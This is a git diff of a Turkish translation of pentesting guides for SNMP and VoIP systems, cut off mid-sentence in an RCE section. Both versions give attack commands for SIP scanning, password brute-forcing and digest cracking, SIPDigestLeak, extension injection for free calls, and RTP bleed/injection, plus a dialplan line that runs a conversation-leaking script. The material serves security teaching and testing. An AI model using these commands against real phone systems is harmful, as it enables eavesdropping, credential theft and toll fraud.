``` ### **Özel Dizeyi Belirleme** -Kritik bir adım, özellikle Cisco IOS yönlendiricilerinde, organizasyonlar tarafından kullanılan **özel topluluk dizesini** belirlemeyi içerir. Bu dize, yönlendiricilerden **çalışan yapılandırmaları** çıkarmayı sağlar. Belirleme genellikle "trap" kelimesini içeren SNMP Trap verilerini analiz etmeye dayanır ve bu işlem için bir **grep komutu** kullanılır: +Kritik bir adım, özellikle Cisco IOS yönlendiricilerinde, organizasyonlar tarafından kullanılan **özel topluluk dizesini** belirlemeyi içerir. Bu dize, yönlendiricilerden **çalışan yapılandırmaları** çıkarmayı sağlar. Belirleme genellikle "trap" kelimesini içeren SNMP Trap verilerini analiz etmeye dayanır ve bir **grep komutu** kullanılır: ```bash grep -i "trap" *.snmp ``` @@ -212,9 +212,9 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp Değerleri değiştirmek için _**NetScanTools**_ kullanabilirsiniz. Bunu yapmak için **özel dizeyi** bilmeniz gerekecek. -## Sahte IP Kullanma +## Spoofing -Eğer yalnızca bazı IP'lerin SNMP hizmetini sorgulamasına izin veren bir ACL varsa, UDP paketinin içinde bu adreslerden birini sahteleyebilir ve trafiği dinleyebilirsiniz. +Eğer yalnızca bazı IP'lerin SNMP hizmetini sorgulamasına izin veren bir ACL varsa, UDP paketinin içine bu adreslerden birini sahteleyebilir ve trafiği dinleyebilirsiniz. ## SNMP Konfigürasyon Dosyalarını İnceleme @@ -222,7 +222,6 @@ Eğer yalnızca bazı IP'lerin SNMP hizmetini sorgulamasına izin veren bir ACL - snmpd.conf - snmp-config.xml - ## HackTricks Otomatik Komutlar ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index 1a18def3c..0ce49950b 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -142,7 +142,7 @@ Telefon numaralarına sahip olduğunuzda, operatörü tanımlamak için çevrimi Operatörün VoIP hizmetleri sunup sunmadığını bilmek, şirketin VoIP kullanıp kullanmadığını belirlemenizi sağlar... Ayrıca, şirketin VoIP hizmetleri kiralamamış olabileceği, ancak kendi VoIP PBX'ini geleneksel telefon ağına bağlamak için PSTN kartları kullandığı da mümkündür. -Müzik gibi otomatik yanıtlar, genellikle VoIP kullanıldığını gösterir. +Otomatik müzik yanıtları gibi şeyler genellikle VoIP kullanıldığını gösterir. ### Google Dorks ```bash @@ -178,21 +178,21 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati ``` ### OSINT bilgileri -VoIP yazılımını tanımlamaya yardımcı olan diğer OSINT sayımları, Kırmızı Takım için faydalı olacaktır. +VoIP yazılımını tanımlamaya yardımcı olan diğer herhangi bir OSINT sayımı, Kırmızı Takım için faydalı olacaktır. ### Ağ Sayımı -- **`nmap`**, UDP hizmetlerini tarama yeteneğine sahiptir, ancak taranan UDP hizmetlerinin sayısı nedeniyle çok yavaştır ve bu tür hizmetlerle çok doğru olmayabilir. +- **`nmap`** UDP hizmetlerini tarama yeteneğine sahiptir, ancak taranan UDP hizmetlerinin sayısı nedeniyle çok yavaştır ve bu tür hizmetlerle çok doğru olmayabilir. ```bash sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 ``` - **`svmap`** SIPVicious'tan (`sudo apt install sipvicious`): Belirtilen ağda SIP hizmetlerini bulacaktır. -- `svmap` **engellemesi kolaydır** çünkü User-Agent `friendly-scanner` kullanır, ancak `/usr/share/sipvicious/sipvicious` dosyasındaki kodu değiştirebilir ve bunu değiştirebilirsiniz. +- `svmap` **engellemesi kolaydır** çünkü User-Agent `friendly-scanner` kullanır, ancak `/usr/share/sipvicious/sipvicious` dosyasındaki kodu değiştirebilirsiniz. ```bash # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` -- **`SIPPTS taraması`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Bir port aralığını kolayca belirtmeye, hem TCP hem de UDP'yi taramaya, başka bir yöntemi kullanmaya (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir User-Agent belirtmeye (ve daha fazlasına) olanak tanır. +- **`SIPPTS taraması`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Bir port aralığını kolayca belirtmeye, hem TCP hem de UDP'yi taramaya, başka bir yöntem kullanmaya (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir User-Agent belirtmeye (ve daha fazlasına) olanak tanır. ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] @@ -208,7 +208,7 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP) auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP) ``` -#### Ekstra Ağ Enumere Etme +#### Ekstra Ağ Enumerasyonu PBX ayrıca aşağıdaki gibi diğer ağ hizmetlerini de açığa çıkarıyor olabilir: @@ -221,9 +221,9 @@ PBX ayrıca aşağıdaki gibi diğer ağ hizmetlerini de açığa çıkarıyor o - **5432 (PostgreSQL)**: PostgreSQL veritabanı - Ve diğerleri... -### Yöntemler Enumere Etme +### Yöntemler Enumerasyonu -PBX'te kullanılabilir **yöntemleri bulmak** için `SIPPTS enumerate` komutunu kullanarak [**sippts**](https://github.com/Pepelux/sippts) ile mümkündür. +PBX'te kullanılabilir **yöntemleri bulmak** için `SIPPTS enumerate` komutunu [**sippts**](https://github.com/Pepelux/sippts) kullanarak bulmak mümkündür. ```bash sippts enumerate -i 10.10.0.10 ``` @@ -237,7 +237,7 @@ Sunucu websockets kullanıyorsa veri elde etmek de mümkündür. [**sippts**](ht ```bash sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` -### Extension Enumeration +### Uzantı Sayımı PBX (Özel Santral) sistemindeki uzantılar, bir organizasyon veya işletme içindeki **bireysel** telefon hatlarına, cihazlara veya kullanıcılara atanan **benzersiz iç tanımlayıcılardır**. Uzantılar, her kullanıcı veya cihaz için bireysel dış telefon numaralarına ihtiyaç duymadan, **organizasyon içinde çağrıları verimli bir şekilde yönlendirmeyi** mümkün kılar. @@ -263,19 +263,19 @@ enumiax -v -m3 -M3 10.10.0.10 ### Şifre Kaba Kuvvet - çevrimiçi -**PBX** ve bazı **uzantılar/kullanıcı adları** keşfedildikten sonra, bir Kırmızı Takım, bir uzantıya **`REGISTER` yöntemi** ile kimlik doğrulamayı denemek için yaygın şifrelerin bir sözlüğünü kullanarak kimlik doğrulamayı kaba kuvvetle kırmaya çalışabilir. +**PBX** ve bazı **uzantılar/kullanıcı adları** keşfedildikten sonra, bir Kırmızı Takım, yaygın şifrelerin bulunduğu bir sözlük kullanarak kimlik doğrulamasını kaba kuvvetle denemek için bir uzantıya **`REGISTER` yöntemi** ile **kimlik doğrulaması yapmayı** deneyebilir. > [!CAUTION] > Bir **kullanıcı adı** uzantıyla aynı olabilir, ancak bu uygulama PBX sistemine, yapılandırmasına ve organizasyonun tercihlerine bağlı olarak değişebilir... > -> Kullanıcı adı uzantıyla aynı değilse, **kaba kuvvetle kırmak için kullanıcı adını bulmanız gerekecek**. +> Kullanıcı adı uzantıyla aynı değilse, **kaba kuvvetle denemek için kullanıcı adını bulmanız gerekecek**. -- **`svcrack`** SIPVicious'tan (`sudo apt install sipvicious`): SVCrack, bir PBX'teki belirli bir kullanıcı adı/uzantı için şifreyi kırmanıza olanak tanır. +- **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack, bir PBX'teki belirli bir kullanıcı adı/uzantı için şifreyi kırmanıza olanak tanır. ```bash svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` -- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack, SIP hizmetleri için uzaktan bir şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birkaç kullanıcı için şifreleri test edebilir. +- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack, SIP hizmetleri için uzaktan bir şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birden fazla kullanıcı için şifreleri test edebilir. ```bash sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` @@ -285,11 +285,11 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ### VoIP Sniffing -Eğer bir **Açık Wifi ağı** içinde VoIP ekipmanı bulursanız, **tüm bilgileri dinleyebilirsiniz**. Dahası, daha kapalı bir ağda (Ethernet üzerinden bağlı veya korumalı Wifi) iseniz, **PBX ile ağ geçidi** arasında **MitM saldırıları** gerçekleştirebilir ve bilgileri dinleyebilirsiniz. +Eğer bir **Açık Wifi ağı** içinde VoIP ekipmanı bulursanız, **tüm bilgileri dinleyebilirsiniz**. Dahası, daha kapalı bir ağda (Ethernet üzerinden veya korumalı Wifi ile bağlı) iseniz, **PBX ile geçit arasında** bilgi dinlemek için **MitM saldırıları** gerçekleştirebilirsiniz, örneğin [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing). -Ağ bilgileri arasında, ekipmanı yönetmek için **web kimlik bilgileri**, kullanıcı **uzantıları**, **kullanıcı adı**, **IP** adresleri, hatta **hashlenmiş şifreler** ve **RTP paketleri** bulabilirsiniz; bu paketleri yeniden üreterek **konuşmayı duyabilirsiniz** ve daha fazlası. +Ağ bilgileri arasında, ekipmanı yönetmek için **web kimlik bilgileri**, kullanıcı **uzantıları**, **kullanıcı adı**, **IP** adresleri, hatta **hashlenmiş şifreler** ve **RTP paketleri** bulabilirsiniz; bu paketleri **konuşmayı duymak için** yeniden üretebilirsiniz ve daha fazlası. -Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz... ancak VoIP konuşmalarını dinlemek için **özel olarak oluşturulmuş bir araç** [**ucsniff**](https://github.com/Seabreg/ucsniff) dir. +Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz... ancak VoIP konuşmalarını dinlemek için **özel olarak oluşturulmuş bir araç** [**ucsniff**](https://github.com/Seabreg/ucsniff). > [!CAUTION] > **SIP iletişiminde TLS kullanılıyorsa**, SIP iletişimini açık olarak göremeyeceğinizi unutmayın.\ @@ -297,9 +297,9 @@ Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz #### SIP kimlik bilgileri (Şifre Kaba Kuvvet - çevrimdışı) -**Kimlik bilgileri nasıl gönderiliyor** öğrenmek için [**SIP REGISTER iletişimini**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) daha iyi anlamak için bu örneği kontrol edin. +[**SIP REGISTER iletişimini** daha iyi anlamak için bu örneği kontrol edin](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) ve **kimlik bilgileri nasıl gönderiliyor** öğrenin. -- **`sipdump`** & **`sipcrack`,** **sipcrack**'in bir parçası (`apt-get install sipcrack`): Bu araçlar, SIP protokolü içindeki **digest kimlik doğrulamalarını** **çıkartabilir** ve **kaba kuvvet** ile kırabilir. +- **`sipdump`** & **`sipcrack`,** **sipcrack**'in bir parçası (`apt-get install sipcrack`): Bu araçlar, SIP protokolü içindeki **digest kimlik doğrulamalarını** bir **pcap**'den **çıkarabilir** ve **kaba kuvvet** ile çözebilir. ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt @@ -330,7 +330,7 @@ Asterisk'te **belirli bir IP adresinden** veya **herhangi bir IP adresinden** bi host=10.10.10.10 host=dynamic ``` -Eğer bir IP adresi belirtilmişse, host **her zaman REGISTER** istekleri göndermeye ihtiyaç duymayacaktır (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Ancak, VoIP sunucusundan çağrı almak için açık portlara sahip olması gerekecektir. +Eğer bir IP adresi belirtilmişse, host **her zaman REGISTER** istekleri göndermeye ihtiyaç duymayacaktır (REGISTER paketinde genellikle 30 dakika olan yaşam süresi belirtilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Ancak, VoIP sunucusundan çağrı almak için açık portlara sahip olması gerekecektir. Kullanıcıları tanımlamak için şu şekilde tanımlanabilirler: @@ -338,14 +338,14 @@ Kullanıcıları tanımlamak için şu şekilde tanımlanabilirler: - **`type=friend`**: Peer olarak çağrı yapabilir ve kullanıcı olarak alabilir (uzantılarla kullanılır) - **`type=peer`**: Peer olarak çağrı gönderebilir ve alabilir (SIP-trunklar) -Güvensiz değişken ile güven oluşturmak da mümkündür: +Ayrıca, insecure değişkeni ile güven oluşturmak da mümkündür: - **`insecure=port`**: IP tarafından doğrulanan peer bağlantılarına izin verir. -- **`insecure=invite`**: INVITE mesajları için kimlik doğrulaması gerektirmez +- **`insecure=invite`**: INVITE mesajları için kimlik doğrulama gerektirmez - **`insecure=port,invite`**: Her ikisi de > [!WARNING] -> **`type=friend`** kullanıldığında, **host** değişkeninin **değeri** **kullanılmayacaktır**, bu nedenle bir yönetici **bu değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa**, **herkes buna bağlanabilecektir**. +> **`type=friend`** kullanıldığında, **host** değişkeninin **değeri** **kullanılmayacaktır**, bu nedenle bir admin **bu değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa**, **herkes buna bağlanabilecektir**. > > Örneğin, bu yapılandırma savunmasız olacaktır:\ > `host=10.10.10.10`\ @@ -354,13 +354,13 @@ Güvensiz değişken ile güven oluşturmak da mümkündür: ### Ücretsiz Çağrılar / Asterisk Bağlamı Yanlış Yapılandırmaları -Asterisk'te bir **bağlam**, **ilişkili uzantıları, eylemleri ve kuralları** bir araya getiren adlandırılmış bir konteyner veya bölümdür. Arama planı, Asterisk sisteminin temel bileşenidir, çünkü **gelen ve giden çağrıların nasıl işlendiğini ve yönlendirildiğini tanımlar**. Bağlamlar, arama planını düzenlemek, erişim kontrolünü yönetmek ve sistemin farklı bölümleri arasında ayrım sağlamak için kullanılır. +Asterisk'te bir **bağlam**, arama planında **ilişkili uzantıları, eylemleri ve kuralları gruplandıran** adlandırılmış bir konteyner veya bölümdür. Arama planı, Asterisk sisteminin temel bileşenidir, çünkü **gelen ve giden çağrıların nasıl işlendiğini ve yönlendirildiğini tanımlar**. Bağlamlar, arama planını düzenlemek, erişim kontrolünü yönetmek ve sistemin farklı bölümleri arasında ayrım sağlamak için kullanılır. -Her bağlam, genellikle **`extensions.conf`** dosyasında yapılandırma dosyasında tanımlanır. Bağlamlar, köşeli parantezlerle belirtilir ve bağlam adı bunların içinde yer alır. Örneğin: +Her bağlam, genellikle **`extensions.conf`** dosyasında yapılandırma dosyasında tanımlanır. Bağlamlar köşeli parantezlerle gösterilir ve bağlam adı bunların içinde yer alır. Örneğin: ```bash csharpCopy code[my_context] ``` -İçerik içinde, uzantıları (çevrilen numaraların kalıpları) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler, çağrının nasıl işleneceğini belirler. Örneğin: +Bağlam içinde, uzantıları (çevrilen numaraların kalıpları) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler, çağrının nasıl işleneceğini belirler. Örneğin: ```scss [my_context] exten => 100,1,Answer() @@ -398,17 +398,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` ### Ücretsiz aramalar / Yanlış yapılandırılmış IVRS -IVRS, **Etkileşimli Sesli Yanıt Sistemi** anlamına gelir; kullanıcıların ses veya tuşlama girdileri aracılığıyla bilgisayarlı bir sistemle etkileşimde bulunmalarını sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girdilerini yakalama gibi çeşitli işlevler sunan **otomatik çağrı yönetimi** sistemleri oluşturmak için kullanılır. +IVRS, **Etkileşimli Sesli Yanıt Sistemi** anlamına gelir; kullanıcıların ses veya tuşlama girdileri aracılığıyla bilgisayarla etkileşimde bulunmalarını sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girdilerini yakalama gibi çeşitli işlevler sunan **otomatik çağrı yönetimi** sistemleri oluşturmak için kullanılır. VoIP sistemlerinde IVRS genellikle şunlardan oluşur: 1. **Sesli istemler**: Kullanıcıları IVR menü seçenekleri ve talimatları aracılığıyla yönlendiren önceden kaydedilmiş sesli mesajlar. 2. **DTMF** (Çift Tonlu Çok Frekanslı) sinyalleme: Telefon tuşlarına basarak üretilen tuşlama girdileri, IVR menülerinde gezinmek ve girdi sağlamak için kullanılır. 3. **Çağrı yönlendirme**: Çağrıları kullanıcı girdisine dayalı olarak belirli departmanlara, temsilcilere veya dahili numaralara yönlendirme. -4. **Kullanıcı girişi yakalama**: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama. +4. **Kullanıcı girdi yakalama**: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama. 5. **Dış sistemlerle entegrasyon**: IVR sistemini veritabanları veya diğer yazılım sistemleriyle bağlayarak bilgiye erişim sağlama, güncelleme yapma, eylemler gerçekleştirme veya olayları tetikleme. -Asterisk VoIP sisteminde, bir IVR oluşturmak için arama planını (**`extensions.conf`** dosyası) ve `Background()`, `Playback()`, `Read()` gibi çeşitli uygulamaları kullanabilirsiniz. Bu uygulamalar, sesli istemleri çalmanıza, kullanıcı girdilerini yakalamanıza ve çağrı akışını kontrol etmenize yardımcı olur. +Asterisk VoIP sisteminde, **`extensions.conf`** dosyasını ve `Background()`, `Playback()`, `Read()` gibi çeşitli uygulamaları kullanarak bir IVR oluşturabilirsiniz. Bu uygulamalar, sesli istemleri çalmanıza, kullanıcı girdilerini yakalamanıza ve çağrı akışını kontrol etmenize yardımcı olur. #### Güvenlik açığına sahip yapılandırma örneği ```scss @@ -419,39 +419,39 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` Önceki, kullanıcının **bir departmanı aramak için 1'e basması**, **başka birini aramak için 2'ye basması** veya biliyorsa **tam uzantıyı** girmesi istendiği bir örnektir.\ -Açık, belirtilen **uzantı uzunluğunun kontrol edilmemesi, bu nedenle bir kullanıcının 5 saniyelik zaman aşımını tam bir numara olarak girebilmesi ve arama yapılabilmesidir.** +Açık, belirtilen **uzantı uzunluğunun kontrol edilmemesi gerçeğidir, bu nedenle bir kullanıcı 5 saniyelik zaman aşımını tam bir numara olarak girebilir ve bu numara aranır.** ### Uzantı Enjeksiyonu -Aşağıdaki gibi bir uzantı kullanarak: +Bir uzantı kullanarak: ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` -Burada **`${EXTEN}`** çağrılacak olan **uzantı**dır, **ext 101 tanıtıldığında** bu gerçekleşecektir: +Burada **`${EXTEN}`** **çağrılacak uzantı**dır, **ext 101 tanıtıldığında** bu gerçekleşecektir: ```scss exten => 101,1,Dial(SIP/101) ``` -Ancak, eğer **`${EXTEN}`** **sayıların dışında** bir şey girmeye izin veriyorsa (eski Asterisk sürümlerinde olduğu gibi), bir saldırgan **`101&SIP123123123`** girerek 123123123 numarasını arayabilir. Ve bu sonuç olacaktır: +Ancak, eğer **`${EXTEN}`** **sayıların dışında daha fazlasını** girmeye izin veriyorsa (eski Asterisk sürümlerinde olduğu gibi), bir saldırgan **`101&SIP123123123`** girerek 123123123 numarasını arayabilir. Ve bu sonuç olacaktır: ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` -Bu nedenle, **`101`** ve **`123123123`** uzantısına bir çağrı gönderilecek ve yalnızca ilk çağrıyı alan bağlantı kurulacaktır... ancak bir saldırgan, mevcut olmayan ancak herhangi bir eşleşmeyi atlayan bir **uzantı kullanırsa**, yalnızca istenen numaraya **bir çağrı enjekte edebilir**. +Bu nedenle, **`101`** ve **`123123123`** uzantısına bir çağrı gönderilecek ve yalnızca ilk çağrıyı alan bağlantı kurulacaktır... ancak bir saldırgan, mevcut olan herhangi bir eşleşmeyi atlayan ancak var olmayan bir **uzantı kullanırsa**, yalnızca istenen numaraya **bir çağrı enjekte edebilir**. ## SIPDigestLeak zafiyeti -SIP Digest Leak, hem donanım hem de yazılım IP telefonları ile telefon adaptörlerini (VoIP'tan analog) içeren çok sayıda SIP Telefonunu etkileyen bir zafiyettir. Bu zafiyet, şifreden hesaplanan **Digest kimlik doğrulama yanıtının sızmasına** izin verir. **Çevrimdışı bir şifre saldırısı mümkün hale gelir** ve meydan okuma yanıtına dayanarak çoğu şifreyi kurtarabilir. +SIP Digest Leak, hem donanım hem de yazılım IP Telefonları ile telefon adaptörlerini (VoIP'tan analog) içeren çok sayıda SIP Telefonunu etkileyen bir zafiyettir. Bu zafiyet, şifreden hesaplanan **Digest kimlik doğrulama yanıtının sızmasına** izin verir. **Çevrimdışı bir şifre saldırısı mümkün hale gelir** ve meydan okuma yanıtına dayanarak çoğu şifreyi kurtarabilir. **[Zafiyet senaryosu buradan**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): 1. Bir IP Telefon (kurban) herhangi bir portta (örneğin: 5060) dinliyor, telefon çağrılarını kabul ediyor 2. Saldırgan IP Telefone bir INVITE gönderiyor -3. Kurban telefon çalmaya başlıyor ve biri açıp kapatıyor (çünkü diğer uçta kimse telefonu yanıtlamıyor) -4. Telefon kapatıldığında, **kurban telefon saldırgana bir BYE gönderiyor** -5. **Saldırgan bir 407 yanıtı veriyor** ve **kimlik doğrulama talep ediyor** ve bir kimlik doğrulama meydan okuması yayımlıyor -6. **Kurban telefon, ikinci bir BYE'de kimlik doğrulama meydan okumasına bir yanıt sağlıyor** +3. Kurban telefonu çalmaya başlıyor ve biri açıp kapatıyor (çünkü diğer uçta kimse telefonu yanıtlamıyor) +4. Telefon kapatıldığında, **kurban telefonu saldırgana BYE gönderiyor** +5. **Saldırgan 407 yanıtı veriyor** ve **kimlik doğrulama talep ediyor** ve bir kimlik doğrulama meydan okuması yayımlıyor +6. **Kurban telefonu, kimlik doğrulama meydan okumasına bir yanıt sağlıyor** ikinci bir BYE ile 7. **Saldırgan, yerel makinesinde (veya dağıtılmış ağ vb.) meydan okuma yanıtına karşı bir brute-force saldırısı gerçekleştirebilir** ve şifreyi tahmin edebilir -- **SIPPTS sızıntısı** [**sippts**](https://github.com/Pepelux/sippts)**'den:** SIPPTS sızıntısı, çok sayıda SIP Telefonunu etkileyen SIP Digest Leak zafiyetini istismar eder. Çıktı, SIPPTS dcrack veya SipCrack aracı kullanılarak brute force yapmak için SipCrack formatında kaydedilebilir. +- **SIPPTS sızıntısı** [**sippts**](https://github.com/Pepelux/sippts)**'den:** SIPPTS sızıntısı, çok sayıda SIP Telefonunu etkileyen SIP Digest Leak zafiyetini istismar eder. Çıktı, SIPPTS dcrack veya SipCrack aracı kullanarak brute force yapmak için SipCrack formatında kaydedilebilir. ```bash sippts leak -i 10.10.0.10 @@ -476,7 +476,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100 Click2Call, bir **web kullanıcısının** (örneğin bir ürüne ilgi duyan) **telefon numarasını** tanıtmasına olanak tanır. Ardından bir ticari arama yapılır ve kullanıcı **telefonu açtığında**, kullanıcı **ajanla arama yapılıp bağlanır**. -Bunun için yaygın bir Asterisk profili şudur: +Bunun için yaygın bir Asterisk profili: ```scss [web_user] secret = complex_password @@ -487,7 +487,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` - Önceki profil **HERHANGİ BİR IP adresinin bağlanmasına izin veriyor** (şifre biliniyorsa). -- Daha önce belirtildiği gibi, **bir arama düzenlemek için** **okuma izinlerine gerek yoktur** ve **sadece** **başlatma** için **yazma** izni gereklidir. +- Daha önce belirtildiği gibi, **bir arama düzenlemek için** **okuma izinlerine gerek yoktur** ve **sadece** **yazma** **izni** **gerekir**. Bu izinlerle, şifreyi bilen herhangi bir IP bağlanabilir ve çok fazla bilgi çıkarabilir, örneğin: ```bash @@ -520,11 +520,11 @@ exten => h,1,System(/tmp/leak_conv.sh &) **RTCPBleed**, Asterisk tabanlı VoIP sunucularını etkileyen büyük bir güvenlik sorunudur (2017'de yayımlandı). Bu zafiyet, VoIP konuşmalarını taşıyan **RTP (Gerçek Zaman Protokolü) trafiğinin**, **İnternetteki herkes tarafından dinlenip yönlendirilebilmesine** olanak tanır. Bu, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamayı atlamasından kaynaklanır. -RTP proxy'leri, iki veya daha fazla taraf arasında RTP akışlarını proxy'leyerek RTC sistemlerini etkileyen **NAT sınırlamalarını** gidermeye çalışır. NAT mevcut olduğunda, RTP proxy yazılımı genellikle sinyalizasyon (örneğin, SIP) aracılığıyla elde edilen RTP IP ve port bilgilerine güvenemez. Bu nedenle, bazı RTP proxy'leri, böyle bir **IP ve port çiftinin otomatik olarak öğrenildiği** bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portu yanıtlanması gereken olarak işaretleyerek yapılır. "Öğrenme modu" olarak adlandırılabilecek bu mekanizma, **herhangi bir tür kimlik doğrulama kullanmaz**. Bu nedenle, **saldırganlar**, **RTP proxy'sine RTP trafiği gönderebilir** ve devam eden bir RTP akışı için arayan veya aranan kişi için gönderilmesi gereken proxy'lenmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed diyoruz çünkü saldırganların meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını almasına olanak tanır. +RTP proxy'leri, iki veya daha fazla taraf arasında RTP akışlarını proxy'leyerek RTC sistemlerini etkileyen **NAT sınırlamalarını** gidermeye çalışır. NAT mevcut olduğunda, RTP proxy yazılımı genellikle sinyalizasyon (örneğin, SIP) aracılığıyla elde edilen RTP IP ve port bilgilerine güvenemez. Bu nedenle, bazı RTP proxy'leri, böyle bir **IP ve port çiftinin otomatik olarak öğrenildiği** bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için yanıt verilmesi gereken kaynak IP ve portunu işaretleyerek yapılır. "Öğrenme modu" olarak adlandırılabilecek bu mekanizma, **herhangi bir tür kimlik doğrulama kullanmaz**. Bu nedenle, **saldırganlar**, **RTP trafiğini RTP proxy'sine gönderebilir** ve devam eden bir RTP akışı için arayan veya aranan kişi için olması gereken proxy'lenmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed diyoruz çünkü saldırganların meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını almasına olanak tanır. -RTP proxy'leri ve RTP yığınlarının bir diğer ilginç davranışı, bazen, **RTP Bleed'e karşı savunmasız olsalar bile**, **herhangi bir kaynaktan gelen RTP paketlerini kabul edip iletebilmeleri ve/veya işlemeleri**dir. Bu nedenle, saldırganlar, meşru olanın yerine kendi medyalarını enjekte etmelerine olanak tanıyan RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu diyoruz çünkü mevcut RTP akışlarına meşru olmayan RTP paketlerinin enjekte edilmesine olanak tanır. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarında bulunabilir. +RTP proxy'lerinin ve RTP yığınlarının bir diğer ilginç davranışı, bazen **RTP Bleed'e karşı savunmasız olsalar bile**, **herhangi bir kaynaktan gelen RTP paketlerini kabul edip iletebilmeleri ve/veya işlem yapabilmeleridir**. Bu nedenle, saldırganlar meşru olanın yerine kendi medyalarını enjekte etmelerine olanak tanıyan RTP paketleri gönderebilirler. Bu saldırıya RTP enjeksiyonu diyoruz çünkü mevcut RTP akışlarına meşru olmayan RTP paketlerinin enjekte edilmesine olanak tanır. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarında bulunabilir. -Asterisk ve FreePBX, RTP trafiğinin kimlik doğrulamayı atlamasını sağlayan **`NAT=yes` ayarını** geleneksel olarak kullanmıştır; bu da aramalarda sesin olmamasına veya tek yönlü ses sorunlarına yol açabilir. +Asterisk ve FreePBX, RTP trafiğinin kimlik doğrulamayı atlamasına olanak tanıyan **`NAT=yes` ayarını** geleneksel olarak kullanmıştır; bu da aramalarda sesin olmamasına veya tek yönlü ses sorunlarına yol açabilir. Daha fazla bilgi için [https://www.rtpbleed.com/](https://www.rtpbleed.com/) @@ -546,20 +546,20 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` ### RCE -Asterisk'te bir şekilde **uzantı kuralları ekleyip bunları yeniden yükleyebilme** (örneğin, savunmasız bir web yönetim sunucusunu ele geçirerek) yeteneğine sahip olduğunuzda, **`System`** komutunu kullanarak RCE elde etmek mümkündür. +Asterisk'te bir şekilde **uzantı kuralları ekleyip bunları yeniden yükleyebilme** (örneğin, savunmasız bir web yönetici sunucusunu tehlikeye atarak) yeteneğine sahip olduğunuzda, **`System`** komutunu 